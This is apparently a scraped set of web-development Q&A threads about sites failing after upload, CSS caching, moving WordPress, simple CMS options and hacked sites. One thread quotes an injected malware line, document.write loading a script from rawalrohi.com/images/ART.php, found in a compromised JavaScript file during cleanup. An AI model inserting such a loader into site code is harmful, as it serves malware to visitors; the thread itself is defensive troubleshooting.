My As3 Flash site will not load properly on a server - actionscript-3

When ran in a local environment the site loads without an issue.
When I attempt to run the site on a remote server / hosting the gallery hangs and doesn't load.
The gallery uses an xml file to draw.

Make sure all the names are all lowercase. I know most people think it doesn't matter but it honestly does on some servers. Another thing try not to use spaces in names either. On some servers it causes issues. And depending on where you are hosting it, there should be help and FAQs that usually help when having an issue. You can always ask them what's up they may have different scripts running that will cause you to need to alter your settings or code. But without playing with it myself I'm not sure what help I can give... Wherever you are hosting should help you get it up and running correctly...

Code is extremely case sensitive. I can't believe this simple mistake slided by. I'm going to make all the extensions lowercase to reduce the possibility of this mistake reocurring. Thank you stackoverflow users!! I wish I could post images. But anyways on the Big and small folder it contained.... 1.JPG and 2.jpg on my XML FILE... It referenced 1.JPG AND 2.JPG Because 2.jpg was lowercase in the folder it looked for it but didn't find it.

Related

Utterly confused. css not modifying html

I have no idea what is happening. I don't even know what information would be relevant, so please ask me anything you think could be related. The problem: I write a html script and css to modify it. I put the files on my webserver (Apache2 running on Ubuntu 22.04) and they work perfectly. I can modify the css script (e.g. changing font sizes, margins etc.) and the changes show up on the corresponding html. Yet, if I leave the laptop alone for an hour or so (not changing a thing), and I modify the css script it has zero effect on the corresponding html. It's as if no changes have been made. I can delete the files, write them over again and they work fine; leave it alone for a period of time and it no longer works. This holds true for all my html/css files. All help is greatly appreciated. Thanks.
I tried restarting Apache, restarting the laptop, rewriting the files, renaming the files, moving the files. No matter what I do, after a period I can no longer modify the html with css.
The first step would be to identify the source of the issue. This can be done by checking the Apache server error logs, as well as any other relevant logs from the Ubuntu OS. The error logs may help identify the root cause of the problem, such as a configuration issue or a software bug.
Once the source of the issue is identified, the next step is to attempt to troubleshoot the problem. This could include checking the web server's configuration, ensuring the correct permissions are set for the HTML and CSS files, and ensuring the server has the correct modules installed to support HTML and CSS.
Additionally, it may be helpful to check the browser's cache to ensure the HTML and CSS files are being served correctly, as a cached version of the page may be loading instead of the updated version.
Finally, it could be helpful to test the same setup with a different web server, such as Nginx, to determine if the issue is with the server or something else.
Ultimately, the devil in the details may be something as simple as a configuration issue or a software bug, or it may be something more complex such as an issue with the browser's cache. Identifying the root cause of the issue will be key to resolving the problem.

Website hack line appearing on wordpress homepage

Helping a friend's company with their website. They have a random bit of code appearing on a bar near the top of what looks to be just on the homepage:
http://snakeoilcocktail.com/
The line is here according to the source:
<div class='dc'>You take that to bank:same day loans. Buy there a atv armor set</div>
I used a plugin to do a String check to find out where the line is but I can't see where it's located to edit it. Any help would be greatly appreciated.
Thanks!
Looks like there's some malware injected on the site. In the top navigation under "Beverage Catering and Event Mixology" there's what looks like some malicious JS code that's adding a div with a class of "dc". Not sure what your setup is, but I'd advise checking into this plugin: https://wordpress.org/plugins/sucuri-scanner/
It'll tell you if any of the core Wordpress files have been hacked, or if it recognizes any files that aren't part of WP.
They have a free quick scanner, check this out: https://sitecheck.sucuri.net/results/snakeoilcocktail.com/
Revolution Slider is a big risk :) (Note the comment on Sucuri) It's supposedly been patched but they ran into a huge security issue where thousands of WP sites were infected. Happened to a couple of sites I took over as well - I completely removed it.
In other words, if you have to keep the Revolution Slider plugin, update it ASAP. It introduces a vulnerability that allows hackers to upload arbitrary files to your site - bad news. They often upload something that gives them read access to the wp-config.php file so they can get into the database as well. (http://securityaffairs.co/wordpress/35431/cyber-crime/revslider-plugin-vulnerable.html)
It has to be somewhere! So either one of your plugins is outputting that code or it has been hacked into your theme.
First, try to deactivate all the plugins one after each other to find out if a plugin causes that issue. If that doesn't help, you may need to go through each file in the theme until you found the target. Also notice that the code could look different in a file than the code which you have posted in your question.
Your website must gave been infected with a malware/adware of some sort. This usually happens when you are using a free hosting service. Check whether your friend is using a free hosting service to host his website. Some of those providers inject advertising content into free hosted websites to make revenue.
If this is not the case,
Restore to previous backup
Disable any plug-ins used on the website
Check through the code for any suspicious lines.
Delete all the files on the web server if possible and try re-uploading
the source files.
Migrate to a hosting provider such as goDaddy, AWS etc for security of
your website.

Wordpress Website Issues

I created my wordpress site, then I transferred all my files and sql over to a host using hostgator.com. In my pc, the website was located in xampp\htdocs\mywebsite. I transferred all the files inside of \mywebsite to public_html using a ftp client, and the website worked, however it just looked like a basic html website, no images or anything like it should be. I then placed all the files inside of a folder called mywebsite inside of public_html, and then it worked fine. I'm guessing I need to reconfigure some files in order to get it to work from just mywebsite.com, instead of mywebsite.com/mywebsite.
The only files I have modified so far is obviously the wp-config. I apologize for this lengthy question, and if this was hard to understand, but I would really appreciate any help given. Any help is extremely appreciated, Thanks.
Here is the wordpress codex regarding moving your website: http://codex.wordpress.org/Moving_WordPress
You are going to need to use this search and replace tool, which is also mentioned in the above link.
Also remember to change the links in Settings -> General in the wordpress dashboard.
You might consider the Duplicator plug-in if you have control of both databases. It makes things pretty easy.
If you end up doing things the long way, make sure that the info in both wp-config files matches.

simple way to quickly edit my website

here's my website:
www.newportclassic.com
do you know of any free, easy to use, content management systems, that will allow me to simply edit the text on my site without having to download the file, open the file, edit the code, save the file, upload the file ???????
I know of a few CMS's that have done well, here are two of them.
Wordpress - free - http://wordpress.org/ - 3.0 is coming soon
Perch - paid - http://grabaperch.com/ - very light and easy
Wikipedia has a very good list of content management systems broken down by language and cost (open source/proprietary) and DBMS. Most of the ones I've used/evaluated in the past have been .NET based, such as DotNetNuke. Pretty much any CMS will give you the ability to edit your HTML without changing any files on your web server. If you're going for simplicity, the Wikipedia list has several that use a flat file instead of a database, so I would start there: http://en.wikipedia.org/wiki/List_of_content_management_systems#File_.2F_Flat_file
As an alternative to installing a CMS on your server, you might be interested in a service like CushyCMS. It allows you to specify what parts of your page are editable by setting an appropriate class in each editable div tag. Then to edit the contents of those div blocks, you log in to the CushyCMS site and make your changes right there. CushyCMS connects via FTP to the server for you and updates the HTML page.
You can use emacs -- it has a mode (tramp) where you can open, edit and save remote files as if they were on your local machine. This makes it really easy to edit files on a webserver.
haven't used it myself but i've heard Surreal CMS is quite good and easy to setup. Here's a tutorial to get you started.
In terms of user friendliness zimplit is hard to beat.
Try their demo.
You can literally edit your website with a wysiwyg interface inside your browser.
Refinery HQ is probably the easiest way to create, edit and update your website. You can upload images and files as you describe in your question.
You can also connect it to your own domain (it's a hosted service). So you'd be able to hook the site you create up to newportclassic.com

Mysterious url in our html website

The home-page of our static html website http://www.iffort.com is transferring data from a mysterious website rawalrohi.com. You can check this by going to iffort.com and noticing the footer there. It says transferring data from rawalrohi.com.
From our side we did the following things to rectify the issue
a.) Analyze the source-code of all pages. We checked the code and found out that a script src=http://rawalrohi.com/images/ART.php was inserted in all pages. We removed this script from all the ‘html’ pages of the website
b.)Next we spoke to the hosting company, they said they can provide us a back up of the site. We have the backup but haven’t used it to restore the site.
c.)Lastly, we have changed the FTP password because we were told that somebody could have hacked our FTP password.
Despite doing this the home-page still says transferring data from rawalrohi.com. The view source doesn’t reveal the URL. This is slowing down our website.
Any help is greatly appreciated.
Your page references a file called "js/hyperlinked_Images.js"
Have a look at this file, right near the bottom:
...
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
Now if you'll excuse me, I'm go to run a quick AV scan on my system ;)
make sure you don't use one FTP account for everything, control the FTP user control, it will help you to manage your website.
I've seen similar behaviour a while back. In that specific case, the ftp-password was compromised: it was read from the clients desktop PC by malware that collected stored ftp passwords.
We found this out only after the password was changed and compromised again within a few days.
So make sure you scan all machines that 'know' the ftp password with a decent AV-scanner.
I just recently saw this on a clients website, a different url but same type of code injection was in all of their files. To fix the problem, I download the site and I used Visual Studio to do a sitewide "find & replace" on the string. This solved the problem for me. I suggest you do something similar for all files, you might have missed one. My clients site had html/htm/aspx files that were all infected, ISP made the same statement that the FTP password was probably compromised...
Make sure you on your antivirus. Whenever the your website loading funny external script like adware, spyware, your antivirus will alert you.
I didn't scan your site, but if you're using any standard software on your website, like: WordPress, Drupal, Joomla, etc. then you need to keep that updated at all times. Subscribe to their security alerts and whenever you see an update, drop everything you're doing and update.
Hackers are constantly scanning the internet for vulnerable websites. It only takes them a fraction of a second on a vulnerable site to infect it.
Also, keep all the plugins, add-ons, components, modules, contributions, etc. updated as well.
Otherwise, you'll be cleaning this over and over again.